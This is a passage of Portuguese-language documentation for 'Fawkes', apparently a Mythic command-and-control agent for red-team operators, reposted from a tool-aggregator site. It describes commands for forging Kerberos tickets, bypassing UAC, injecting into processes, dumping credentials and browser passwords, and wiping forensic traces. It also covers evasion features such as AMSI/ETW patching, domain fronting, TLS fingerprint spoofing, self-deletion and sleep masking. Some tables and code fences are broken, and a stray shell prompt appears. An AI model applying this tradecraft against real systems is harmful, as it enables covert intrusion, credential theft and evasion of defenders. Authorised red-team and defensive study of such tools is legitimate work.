ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Forjar, solicitar, renovar, delegar ou autenticar com certificado tickets Kerberos. Forge: Golden/Silver Tickets (offline). Request: Overpass-the-Hash (online). Diamond: troca AS real + modificação de ticket para evasão. Renew: estender vida útil do TGT. S4U: delegação restrita via S4U2Self+S4U2Proxy. PKINIT: autenticação baseada em certificado de ADCS/Shadow Creds. Multiplataforma (T1558.001, T1558.002, T1550.002, T1134.001, T1649).
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | Transliterar, espremer ou excluir caracteres no conteúdo do arquivo. Suporta classes de caracteres e faixas. Multiplataforma (T1083).
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | Encontrar arquivos de alto valor para exfiltração — documentos, credenciais, configurações, bancos de dados (.db/.sqlite), scripts (.py/.sh/.ps1), arquivos (.zip/.tar/.7z), arquivos de email (.pst/.eml/.mbox), arquivos modificados recentemente ou varredura de caminho personalizada. **recon-chain**: cadeia de subtarefas automatizada — portscan → enumeração de compartilhamento SMB → share hunt → triagem local (requer alvo, nome de usuário/senha). Multiplataforma (T1083, T1005).
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | Enumerar relações de confiança de domínio/floresta via LDAP com topologia de floresta, análise de transitividade, força de criptografia e identificação de caminho de ataque. Multiplataforma (T1482).
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | Modificar carimbos de data/hora de arquivos para se misturar ao ambiente. Obter, copiar de outro arquivo, definir horário específico, corresponder a vizinhos de diretório (IQR) ou aleatório dentro de faixa. `clean-prefetch` exclui arquivos Prefetch do Windows para um executável nomeado. Windows também modifica horário de criação.
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Apenas Windows)** Gerenciamento de sessão RDP — listar, sequestrar, desconectar ou encerrar sessões. Assunção de sessão sem credenciais (T1563.002).
ts | `ts [-a] [-i PID]` | **(Apenas Windows)** Listar threads em processos. Por padrão, mostra apenas threads alertáveis (Suspended/DelayExecution). Use -a para todas as threads, -i para filtrar por PID (T1057).
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Apenas Windows)** Ignorar UAC para escalar de integridade média para alta. 8 técnicas: sequestro de registro, sequestro de variável de ambiente, abuso de arquivo INF, sequestro de CLSID COM, diretório confiável simulado. Padrão gera callback elevado (T1548.002, T1218.003).
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | Filtrar ou contar linhas duplicadas consecutivas em um arquivo. Modo count ordena por frequência. Multiplataforma (T1083).
unlink | `unlink -connection_id <uuid>` | Desconectar um agente P2P vinculado (TCP ou named pipe). Multiplataforma (T1572).
uptime | `uptime` | Mostrar tempo de atividade do sistema, hora de inicialização e médias de carga. Multiplataforma (T1082).
upload | `upload` | Enviar um arquivo para o alvo com transferência de arquivo fragmentada. Suporta descompressão automática de arquivos gzip. Verificação de hash SHA256.
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Apenas Windows)** Consultar ou excluir o Journal de Alterações USN do NTFS — destrói o histórico de operações de arquivo para antiforense (T1070.004).
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | Injetar shellcode em um processo remoto (inject), migrar agente (migrate: inject + exit) ou gerar novo processo com LD_PRELOAD .so (ldpreload: apenas Linux, sem ptrace, ignora Yama). **Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. **Linux (amd64/arm64):** escrita direta em /proc/PID/mem, LD_PRELOAD via memfd. T1055.001, T1055.009, T1574.006.
vm-detect | `vm-detect [-action detect\|sandbox]` | Detectar ambiente VM/hypervisor ou analisar evasão de sandbox. `detect`: OUI MAC, DMI/SMBIOS, ferramentas VM, SCSI, flag CPU hypervisor. `sandbox`: análise pontuada — contagem de CPU, RAM, disco, tempo de atividade, timing de sleep, hostname, contagem de processos, nome de usuário. Multiplataforma (T1497, T1497.001).
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | Técnicas de impacto: Gerenciamento VSS (Windows), inibição de recuperação (T1490), desligamento/reinicialização (T1529, multiplataforma). Ações destrutivas requerem -confirm true. MITRE T1003.003, T1490, T1529.
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | Monitorar um diretório em busca de alterações no sistema de arquivos — detecta arquivos novos, modificados e excluídos via polling. Suporta filtragem glob e detecção de hash MD5. Multiplataforma (T1083, T1119).
wc | `wc -path <file_or_dir> [-pattern <glob>]` | Contar linhas, palavras, caracteres e bytes em arquivos. Modo diretório com filtragem de padrão glob e totais. Multiplataforma (T1083).
wdigest | `wdigest -action <status\|enable\|disable>` | **(Apenas Windows)** Gerenciar cache de credenciais em texto claro WDigest. Habilitar para capturar senhas em texto claro no próximo logon. MITRE T1003.001, T1112.
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` ou `winrm -action check -host <target> [-username <user> -password <pass>]` | Executar comandos em hosts Windows remotos via WinRM com autenticação NTLM. Suporta pass-the-hash, cmd.exe e PowerShell. `check` valida pré-requisitos WinRM (portas 5985/5986, autenticação, shell). Multiplataforma (T1021.006, T1550.002).
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Apenas Windows)** Enumerar janelas de aplicativo visíveis — mostra HWND, PID, nome do processo, classe da janela e título. Filtros de pesquisa por título/processo/classe. MITRE T1010.
who | `who [-all true]` | Mostrar usuários atualmente logados e sessões ativas. Linux: analisa utmp. Windows: API WTS. macOS: comando who. Multiplataforma (T1033).
whoami | `whoami` | Exibir identidade do usuário atual e contexto de segurança. Windows: nome de usuário, SID, tipo de token, nível de integridade, associações a grupo, privilégios. Linux: usuário, UID, GID, grupos, capacidades efetivas (decodificadas), contexto SELinux/AppArmor, detecção de contêiner. macOS: usuário, UID, GID, grupos.
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Apenas Windows)** Executar consultas WMI, criação de processo, upload de arquivo e execução preparada via API COM. upload: transferir arquivos via certutil/PowerShell staging. exec-staged: enviar e depois executar com limpeza automática. `check` valida pré-requisitos WMI (RPC 135, conectividade WMI). MITRE T1047, T1570.
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Apenas Windows)** Persistência por Assinatura de Evento WMI via API COM. Suporta consumidores CommandLine e ActiveScript (VBScript/JScript). Sem arquivo, sobrevive a reinicializações. MITRE T1546.003.
wlan-profiles | `wlan-profiles [-name <SSID>]` | Recuperar perfis de rede WiFi salvos e credenciais. Windows: API WLAN, Linux: NetworkManager/wpa_supplicant/iwd, macOS: Keychain. Multiplataforma (T1555).
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | Escrever conteúdo em arquivos ou desfigurar páginas da web. `write`: criar/sobrescrever/anexar (padrão). `deface`: substituir conteúdo da web por mensagem de desfiguração (T1491, portão de segurança). Multiplataforma (T1105, T1491).
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Apenas Windows)** Escrever bytes no endereço de uma função DLL.
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Apenas Linux/macOS)** Gerenciar atributos estendidos de arquivo — listar, obter, definir, excluir. Complemento Unix para ADS do Windows para ocultação de dados (T1564.004).## Aumento de Comandos do Forge

O Fawkes suporta o aumento de comandos do [Mythic Forge](https://github.com/MythicAgents/forge), que estende dinamicamente as capacidades do agente com coleções de ferramentas externas. Quando o Forge está instalado junto com o Mythic, comandos adicionais aparecem automaticamente na interface do Mythic para os callbacks do Fawkes — sem necessidade de reconstruir o agente.

**Coleções de ferramentas suportadas:**

| Coleção | Tipo | Executa via | Exemplos |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | .NET assemblies | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | BOF/COFF files | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |

### Configuração (Nova Instalação)

**Passo 1: Instalar o Forge**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge

Passo 2: Adicionar Fawkes ao suporte de tipo de payload do Forge

Edite InstalledServices/forge/payload_type_support.json e adicione a entrada Fawkes ao array JSON:```json { "agent": "fawkes", "bof_command": "inline-execute", "bof_file_parameter_name": "bof_file", "bof_argument_array_parameter_name": "coff_arguments", "bof_entrypoint_parameter_name": "function_name", "inline_assembly_command": "inline-assembly", "inline_assembly_file_parameter_name": "assembly_file", "inline_assembly_argument_parameter_name": "assembly_arguments", "execute_assembly_command": "", "execute_assembly_file_parameter_name": "", "execute_assembly_argument_parameter_name": "", "assembly_default_execution_method": "inline_assembly" }

root@kitploit:~
Isto mapeia a interface de parâmetros genéricos do Forge para os nomes de comandos e parâmetros específicos do Fawkes. O mapeamento de campos:
- `bof_command` → comando `inline-execute` do Fawkes (execução BOF/COFF)
- `inline_assembly_command` → comando `inline-assembly` do Fawkes (execução de assembly .NET)
- `execute_assembly_command` → vazio (Fawkes usa inline-assembly para toda execução .NET)
- Os nomes dos parâmetros devem corresponder exatamente ao que as funções de agente do Fawkes definem no grupo de parâmetros "Forge"

**Passo 3: Reconstruir e reiniciar**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes

Passo 4: Registrar fontes de ferramentas

Abra a interface Mythic e use o comando forge_register (disponível em qualquer callback) para registrar fontes de ferramentas. Fontes comuns:

FonteTipoO que fornece
Rubeus.NET assemblyAtaques Kerberos (kerberoasting, forjamento de tickets, delegação)
Seatbelt.NET assemblyVarredura de segurança do host (privilégios, credenciais, configurações)
Certify.NET assemblyEnumeração e abuso dos Serviços de Certificado do AD
SharpHound.NET assemblyColeta de dados do BloodHound
SharpUp.NET assemblyVerificações de escalonamento de privilégio local
SharpView.NET assemblyEnumeração do Active Directory (port do PowerView)
nanodumpBOFDespejo de memória LSASS via MiniDumpWriteDump
credmanBOFColeta do Gerenciador de Credenciais do Windows

Para registrar uma fonte, execute forge_register com commandName definido como o nome simples da fonte (ex.: Rubeus, não forge_net_Rubeus) e remove definido como false.

Após o registro, o Forge baixa os binários da ferramenta e cria comandos aumentados (ex.: forge_net_Rubeus, forge_bof_nanodump) que aparecem na lista de comandos do callback.

Passo 5: Verificar

Callbacks existentes veem automaticamente os comandos do Forge — nenhum novo payload é necessário. Teste executando uma ferramenta registrada:

  1. Execute autopatch ou start-clr primeiro (patching AMSI para ferramentas .NET)
  2. Selecione um comando do Forge (ex.: forge_net_Seatbelt)
  3. Insira argumentos (ex.: -group=system)
  4. Execute — o Forge traduz o comando para inline-assembly com o binário da ferramenta embutido

Dicas de Uso

  • Para ferramentas .NET (SharpCollection), execute start-clr com autopatch primeiro para inicializar o CLR e aplicar patch no AMSI — sem isso, o Windows Defender pode bloquear a execução do assembly
  • Para ferramentas BOF (Sliver Armory), certifique-se de que os BOFs estejam compilados para x64
  • Nenhum parâmetro especial de compilação é necessário — o suporte ao Forge está embutido nos comandos inline-execute e inline-assembly do Fawkes através do grupo de parâmetros "Forge"
  • Comandos do Forge funcionam em callbacks existentes sem precisar reconstruir o agente
  • Ao emitir comandos do Forge via API, inclua payload_type: "forge" na mutação createTask — sem isso, o Mythic pesquisa apenas o próprio tipo de payload do callback

Técnicas de Injeção

Injeção PoolParty

VarianteTécnicaGatilhoShellcode Go
1Sobrescrita da Rotina de Início do Worker FactoryCriação de nova thread de trabalhoNão
2Inserção TP_WORKProcessamento de fila de tarefasSim
3Inserção TP_WAITSinalização de eventoSim
4Inserção TP_IOConclusão de E/S de arquivoSim
5Inserção TP_ALPCMensagens de porta ALPCSim
6Inserção TP_JOBAtribuição de objeto de trabalhoSim
7Inserção TP_DIRECTPorta de conclusão de E/SSim
8Inserção TP_TIMERExpiração de temporizadorSim

Injeção Opus

VarianteTécnicaAlvoShellcode Go
1Cadeia de Manipulador Ctrl-CApenas processos de consoleNão
4PEB KernelCallbackTableApenas processos GUISim

Para descrições detalhadas das variantes, veja Detalhes das Técnicas de Injeção.

Opções de Compilação

Métodos de Exportação de DLL

Ao compilar no modo shared (DLL) ou windows-shellcode, o parâmetro de compilação dll_exports controla quais exportações de DLL são incluídas:

ConfiguraçãoExportaçõesCaso de Uso
standard (padrão)Run, Fire, VoidFuncShellcode sRDI, rundll32, carregadores genéricos
fullPadrão + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNowregsvr32, serviço svchost, hijack COM

Métodos de execução com exportações completas:

ExportaçãoExecuçãoMITRE
DllRegisterServerregsvr32 /s fawkes.dllT1218.010
DllUnregisterServerregsvr32 /u /s fawkes.dllT1218.010
ServiceMainServiço DLL svchost.exe (apenas Windows)T1543.003
DllGetClassObject + DllCanUnloadNowHijack COM InprocServer32T1546.015

Inflação Binária

O Fawkes suporta inflação binária opcional no momento da compilação. Isso incorpora um bloco de bytes repetidos no agente compilado, que pode ser usado para aumentar o tamanho do arquivo ou diminuir pontuações de entropia.

Dois parâmetros de compilação controlam isso:

  • inflate_bytes - Bytes hexadecimais a serem embutidos (ex.: 0x90 ou 0x41,0x42)
  • inflate_count - Número de vezes para repetir o padrão de bytes

O padrão de bytes é repetido inflate_count vezes, então o tamanho total adicionado é tamanho(padrao_bytes) * inflate_count.

Referência rápida para dimensionamento:

inflate_countByte único (ex.: 0x90)Dois bytes (ex.: 0x41,0x42)
1.0001 KB2 KB
10.00010 KB20 KB
100.000100 KB200 KB
1.000.0001 MB2 MB
3.000.0003 MB6 MB
10.000.00010 MB20 MB

Quando a inflação não está configurada, apenas 1 byte de overhead é adicionado ao binário.

Incorporação de Recursos PE (Apenas Windows)

Binários PE do Windows contêm recursos de metadados — informações de versão, ícones e manifests UAC — que são visíveis nas Propriedades do Arquivo, Gerenciador de Tarefas e Explorer. Binários Go padrão não possuem esses metadados, o que é um forte sinal de detecção para ferramentas e analistas de segurança.

O Fawkes suporta a incorporação de recursos PE no momento da compilação para personificar binários legítimos do Windows:

Parâmetros de compilação:

ParâmetroTipoDescrição
pe_presetEscolhaPredefinição rápida de personificação (notepad, svchost, cmd, explorer, etc.)
pe_companyStringCompanyName (ex.: "Microsoft Corporation")
pe_descriptionStringFileDescription — visível no Gerenciador de Tarefas
pe_productStringProductName
pe_versionStringFile/Product version (ex.: "10.0.19041.1")
pe_copyrightStringLegalCopyright
pe_original_filenameStringOriginalFilename — visível para ferramentas forenses
pe_iconArquivoArquivo de ícone .ico ou .png personalizado
pe_manifestEscolhaNível UAC: asInvoker, highestAvailable, requireAdministrator

Predefinições (10 binários comuns do Windows com informações de versão reais): notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker

Campos individuais sobrescrevem valores predefinidos. Quando nenhum parâmetro de recurso PE é definido, o binário permanece inalterado em relação à saída Go padrão.

Recursos de Opsec

Rastreamento de Artefatos

O Fawkes registra automaticamente artefatos no Mythic para comandos relevantes para opsec. Os artefatos aparecem na interface Mythic sob a aba Artifacts, dando aos operadores uma visão clara de todos os indicadores forenses gerados durante um engajamento.

Tipos de artefatos rastreados:

TipoComandos
Create Processrun, powershell, spawn, argue
API Callnet-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (criar/excluir), psexec
Kill Processkill
Inject Processvanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack
Write Fileupload, cp, mv
Create Filemkdir
Delete Filerm
Modify Filetimestomp
Write Registryreg (write/delete), remote-reg (set/delete), persist (registry, com-hijack, screensaver methods), uac-bypass, defender (add/remove-exclusion)
Save Registryreg (save/creds)
Remote Registryremote-reg (query/enum/set/delete via WinReg RPC)
Remote Serviceremote-service (list/query/create/start/stop/delete/modify-path/trigger/dll-sideload via SVCCTL RPC)
Logonmake-token
Steal Tokensteal-token, getsystem

Comandos somente leitura (ls, ps, cat, env, etc.) não geram artefatos.

Integração com o Cofre de Credenciais

Comandos de coleta de credenciais reportam automaticamente descobertas ao armazenamento Credentials do Mythic, tornando-as pesquisáveis e exportáveis pela interface Mythic.

ComandoTipo de CredencialO que é Reportado
hashdumphashHashes SAM NTLM (Windows), hashes NT/LM/SHA do MSV1_0 da varredura in-situ do LSASS (Windows, insitu-full), TGTs Kerberos e tickets de serviço no formato .kirbi (Windows, tickets), hashes /etc/shadow (Linux), hashes PBKDF2 (macOS)
kerberoasthashTickets TGS para cracking offline
asrep-roasthashHashes AS-REP
dcsynchashChaves NTLM + AES via DRSGetNCChanges
lsa-secretstexto claro/hash/chaveSenhas de serviço, credenciais em cache, chaves DPAPI
lapstexto claroSenhas LAPS v1 e v2
gpp-passwordtexto claroSenhas criptografadas GPP do SYSVOL
browsertexto claroSenhas salvas do Chrome/Edge/Firefox (todas as plataformas), cookies (todas as plataformas), histórico, autopreenchimento, favoritos
dpapitexto claro/hashSegredos protegidos por DPAPI
credmantexto claroEntradas do Gerenciador de Credenciais (na ação dump)
make-tokentexto claroCredenciais usadas para criação de token
cred-harvesthash/texto claro/tokenHashes sombra, variáveis de ambiente da nuvem, variáveis de ambiente sensíveis, tokens M365 OAuth/JWT, cookies/armazenamento ao vivo do navegador via CDP
credential-prompttexto claroCredenciais capturadas por diálogo (macOS/Windows/Linux)

Rastreamento de Keylog

O comando keylog integra-se ao recurso Keylogs do Mythic. Quando as teclas são retornadas via stop ou dump, elas são automaticamente analisadas por título de janela e enviadas ao rastreador de keylog do Mythic com atribuição de usuário. Os keylogs são pesquisáveis na interface Mythic por título de janela, usuário ou conteúdo das teclas.

Rastreamento de Token

Os comandos make-token e steal-token registram tokens no rastreador Callback Tokens do Mythic. Isso fornece visibilidade sobre quais tokens estão associados a cada callback, incluindo a identidade do usuário personificado e o processo de origem. O comando rev2self remove automaticamente os tokens rastreados quando a personificação é descartada.

Verificação de Certificado TLS

Controla como o agente valida certificados HTTPS ao se comunicar com o servidor C2. Configurado no momento da compilação através do parâmetro tls_verify:

ModoDescrição
noneIgnorar toda verificação TLS (padrão, compatível com versões anteriores)
system-caValidar certificados com base no repositório de confiança do SO
pinned:<sha256>Fixar em uma impressão digital de certificado específica (SHA-256 hex). O agente rejeita conexões se o certificado do servidor não corresponder.

A fixação de certificado impede a interceptação MITM do tráfego do agente, mesmo que um atacante controle uma CA confiável.

Spoofing de Impressão Digital TLS (JA3)

A pilha TLS padrão do Go produz um hash JA3 distinto que ferramentas de segurança de rede podem identificar como tráfego não-navegador. O parâmetro de compilação tls_fingerprint usa uTLS para falsificar o ClientHello TLS, produzindo uma impressão digital JA3 que corresponde a navegadores.

Impressão DigitalDescrição
chromeChrome/Chromium (padrão) — navegador mais comum, melhor para camuflagem
firefoxFirefox
safariSafari
edgeMicrosoft Edge
rotateSeleciona aleatoriamente Chrome/Firefox/Safari/Edge por conexão (impede correlação JA3)
randomImpressão digital totalmente aleatória (não corresponde a navegador)
goSem spoofing — usa a pilha TLS padrão do Go

Autenticação de Certificado Cliente TLS Mútuo (mTLS)

Adiciona autenticação de certificado cliente ao perfil HTTP C2. Quando configurado, o agente apresenta um certificado cliente durante o handshake TLS, permitindo que o servidor C2 verifique a identidade do agente. Isso impede interceptação HTTPS passiva e ataques MITM de proxy.

ParâmetroDescrição
mtls_certCertificado cliente codificado em PEM
mtls_keyChave privada do cliente codificada em PEM

O certificado/chave são codificados em base64 no momento da compilação, criptografados com XOR se a ofuscação de strings estiver habilitada, e armazenados no cofre de configuração AES-256-GCM em tempo de execução. Combina com modos de verificação TLS existentes e spoofing de impressão digital JA3.

URLs C2 de Fallback

Múltiplas URLs de callback C2 com failover automático. Se o host de callback primário estiver inacessível, o agente percorre transparentemente as URLs de fallback antes de aplicar backoff.

ParâmetroDescrição
fallback_hostsHosts C2 de fallback separados por vírgula (ex.: http://backup1.example.com,https://backup2.example.com)

Mesma porta e criptografia do primário. Lembra a última URL bem-sucedida. Funciona com cofre de configuração e ofuscação XOR.

Chaveamento de Ambiente / Guardrails

Impede que o agente seja executado em sistemas não autorizados. Configurado no momento da compilação — o agente sai silenciosamente antes de fazer qualquer contato de rede se as verificações falharem. Sem logs, sem artefatos, sem tráfego C2.

ParâmetroTipoDescrição
env_key_hostnameRegexO hostname deve corresponder (ex.: WORKSTATION-\d+ ou .*\.contoso\.com)
env_key_domainRegexO domínio deve corresponder (ex.: CONTOSO ou .*\.local)
env_key_usernameRegexO nome de usuário deve corresponder (ex.: admin.* ou svc_.*)
env_key_processStringNome do processo que deve estar em execução (ex.: outlook.exe)
env_key_cpuidRegexA string da marca da CPU deve corresponder (ex.: .*Intel.*i7-12700.* ou .*AMD.*5950X.*). Impede execução em sandboxes com modelos de CPU diferentes.
env_key_deriveEscolhaCriptografar a configuração C2 com chave derivada das propriedades do host alvo. Opções: hostname, domain, username, hostname+domain, hostname+domain+username. Host errado = falha na descriptografia AES = saída silenciosa. Mais forte que correspondência regex — valores de configuração nunca aparecem no binário.

Todos os padrões são insensíveis a maiúsculas/minúsculas e ancorados para corresponder ao valor completo. Múltiplas chaves podem ser combinadas — todas devem passar. Padrões regex inválidos falham fechados (agente sai). Deixe vazio para pular uma verificação.

Derivação de Chave Ambiental (env_key_derive): Quando definido, toda a configuração C2 sensível (host de callback, UUID, chave de criptografia, URIs, configurações de proxy, etc.) é criptografada com AES-256-GCM no momento da compilação usando uma chave derivada do ambiente do alvo. Em tempo de execução, o agente rederiva a chave de seu próprio ambiente — se não corresponder (host/domínio/usuário errados), a descriptografia falha e o agente sai silenciosamente. Isso é mais forte que correspondência regex porque os valores de configuração nunca estão presentes no binário de forma alguma. Requer que os valores env_key_* correspondentes contenham os valores EXATOS do alvo (não padrões regex). Empilha com obfuscate_strings (camada XOR aplicada primeiro, depois AES-GCM).

Ofuscação de Strings C2

Habilite o parâmetro de compilação obfuscate_strings para codificar com XOR todas as strings de configuração C2 (host de callback, URIs, user agent, chave de criptografia, UUID) no momento da compilação com uma chave aleatória de 32 bytes por compilação. Impede a extração trivial de IOCs via strings no binário. Decodificado em tempo de execução. Multiplataforma.

BlockDLLs para Processos Filhos

Habilite o parâmetro de compilação block_dlls para aplicar PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON a todos os processos filhos gerados pelo agente (comandos run, powershell). Impede que o EDR injete DLLs de monitoramento em processos gerados. Usa STARTUPINFOEX com UpdateProcThreadAttribute. Apenas Windows.

Spoofing de PID Pai para Subprocessos

Defina config -action set -key default_ppid -value <PID> em tempo de execução para fazer com que todos os processos filhos (run, powershell) apareçam como filhos de um processo legítimo (ex.: explorer.exe). Derrota a detecção de relacionamento pai-filho por EDR. Combina com BlockDLLs quando ambos estão ativos. Usa UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Desabilite com config -action set -key default_ppid -value 0. Apenas Windows (T1134.004).

Auto-Patch ETW/AMSI

Habilite o parâmetro de compilação auto_patch para corrigir automaticamente EtwEventWrite e AmsiScanBuffer na inicialização do agente. Isso impede detecção baseada em ETW e varredura AMSI antes de qualquer atividade do agente — nenhum comando manual necessário. Apenas Windows (sem efeito no Linux/macOS).

Auto-Exclusão

Habilite a exclusão automática do binário na inicialização através do parâmetro de compilação self_delete. Assim que o agente começa a executar, ele remove seu próprio arquivo do disco — eliminando o principal artefato forense.

  • Linux/macOS: Usa os.Remove() — o processo em execução continua através do mapeamento inode em memória. O arquivo desaparece do disco imediatamente.
  • Windows: Usa a técnica de renomeação de fluxo NTFS — renomeia o fluxo padrão :$DATA e então remove a entrada do arquivo. Nenhum processo filho é gerado.

O binário é excluído após as verificações de chave de ambiente passarem, mas antes do início da atividade de rede.

Mascaramento de Processo (Linux)

Defina o parâmetro de compilação masquerade_name para alterar o nome do processo do agente no Linux. Usa prctl(PR_SET_NAME) para modificar /proc/self/comm, que é exibido por ps, top e htop. Máximo de 15 caracteres.

Nomes úteis: [kworker/0:1], [migration/0], sshd, apache2, [rcu_preempt]

Combinado com auto-exclusão, o agente aparece como uma thread de kernel legítima ou serviço sem arquivo em disco.

Páginas de Guarda de Memória de Sono

Habilite sleep_guard_pages (requer sleep_mask=true) para aplicar VirtualProtect(PAGE_NOACCESS) na memória do cofre criptografado durante ciclos de sono. Após a máscara de sono criptografar dados sensíveis (AES-256-GCM) e zerar os originais, as páginas de guarda movem o cofre para memória dedicada VirtualAlloc e marcam como NO_ACCESS. Scanners de memória EDR, ReadProcessMemory, WinDbg e Process Hacker obtêm STATUS_ACCESS_VIOLATION ao tentar ler o cofre. As páginas são restauradas para PAGE_READWRITE ao despertar antes da descriptografia. No Linux/macOS, as páginas de guarda usam mmap(MAP_ANON) + mprotect(PROT_NONE) — a sondagem aciona SIGSEGV.

A chave do cofre de sono é vinculada ao hardware via HKDF-SHA256: uma semente aleatória é misturada com um hash SHA-256 da string da marca da CPU e UUID da máquina. Se alguém extrair o blob do cofre de um dump de memória e tentar descriptografar em hardware diferente, a derivação da chave produz uma chave diferente.

Spoofing de Pilha de Chamadas

Habilite stack_spoof para falsificar a pilha de chamadas da thread em sono, derrotando ferramentas de varredura de thread EDR (Hunt-Sleeping-Beacons, Moneta, CrowdStrike).

  • Windows (requer indirect_syscalls=true): Uma thread nativa dedicada executa NtDelayExecution com endereços de retorno falsos apontando para kernel32!SleepEx, kernel32!BaseThreadInitThunk e ntdll!RtlUserThreadStart — a cadeia de inicialização de thread padrão que o EDR espera.
  • Linux amd64: Um processo filho é criado via clone(CLONE_VM) com seu próprio stub de código de máquina de 291 bytes em memória mmap'd anônima. O filho chama nanosleep diretamente via syscall bruta — nenhum endereço do runtime Go ou do código do agente aparece na pilha da thread em sono. Manipuladores de sinal são redefinidos para SIG_DFL no filho, e PR_SET_PDEATHSIG garante que o filho morra quando o pai sair.
  • macOS arm64: Uma pthread nativa é gerada com um stub de código de máquina ARM64 de 140 bytes em memória mmap'd anônima. A thread usa __ulock_wait/__ulock_wake para sincronização com o runtime Go e chama nanosleep via syscall bruta — a pilha da thread em sono mostra apenas o stub anônimo e quadros do kernel, nenhum runtime Go ou código do agente.

Cabeçalhos HTTP Personalizados

Todos os cabeçalhos definidos na configuração do perfil HTTP C2 do Mythic são aplicados a cada requisição. Além de User-Agent (sempre suportado), operadores podem adicionar cabeçalhos como Accept-Language, Referer, Cookie ou X-Forwarded-For para misturar o tráfego C2 com padrões de tráfego web legítimo.

Domain Fronting

Defina o parâmetro de compilação host_header para sobrescrever o cabeçalho HTTP Host. Isso permite domain fronting: rotear o tráfego através de uma CDN (ex.: CloudFront, Azure CDN) enquanto o cabeçalho Host aponta para seu domínio C2 real. Para defensores de rede, o tráfego parece ir para o endereço IP da CDN.

Suporte a Proxy

Defina o parâmetro de compilação proxy_url para rotear o tráfego do agente através de um proxy HTTP ou SOCKS. Útil para operar em redes corporativas com servidores proxy obrigatórios.Exemplos: http://proxy.corp.local:8080, socks5://127.0.0.1:1080

Proxies autenticados: Defina proxy_user e proxy_pass para autenticação Basic. Para proxies corporativos que exigem autenticação de domínio Windows, defina também proxy_domain (ex.: CORP) para habilitar a autenticação NTLM. O handshake NTLM (Type1→Type2→Type3) é realizado automaticamente durante o estabelecimento do túnel CONNECT.

Detecção de proxy do sistema (Windows): Quando proxy_url não está definido, o agente consulta o WinHTTP para configurações de proxy do sistema, incluindo detecção automática PAC/WPAD.

Remoção de Caminho de Build (-trimpath)

Todos os builds usam a flag -trimpath do Go para remover caminhos do sistema de arquivos local do binário compilado. Sem isso, caminhos como /home/user/project/... e /go/pkg/mod/... vazam para o binário através de traces de panic e metadados de tempo de execução. Combinado com -s -w (remoção de símbolos) e -buildid vazio, isso minimiza informações forenses no binário. Builds Garble já lidam com isso; -trimpath cobre builds não-Garble.

Varredura Pós-Build com YARA

Após a compilação, o payload construído é automaticamente escaneado contra um conjunto de regras YARA que modelam padrões comuns de detecção de defensores. Os resultados são exibidos na saída de build do Mythic como uma etapa informativa — a varredura nunca falha o build.

Categorias de detecção escaneadas:

  • Identificação de binário Go e vazamentos de símbolos
  • Caminhos de build/desenvolvimento vazados
  • Indicadores de string de framework Mythic/C2
  • Nomes de APIs de injeção do Windows
  • Nomes de APIs de acesso a credenciais
  • Padrões de API de evasão de defesa
  • Strings de mecanismos de persistência
  • Configuração C2 em texto claro

Isso ajuda operadores a entender o risco de detecção e escolher opções opsec apropriadas (garble, obfuscate_strings, etc.) antes da implantação.

Perfis C2 Suportados

Perfil HTTP

O perfil HTTP faz callbacks ao servidor Mythic através do perfil básico, não dinâmico. Este é o perfil de saída padrão — o agente consulta o Mythic por tarefas via HTTP/HTTPS.

Recursos maleáveis:

  • Randomização de URI: get_uri e post_uri suportam tokens que são resolvidos por requisição:
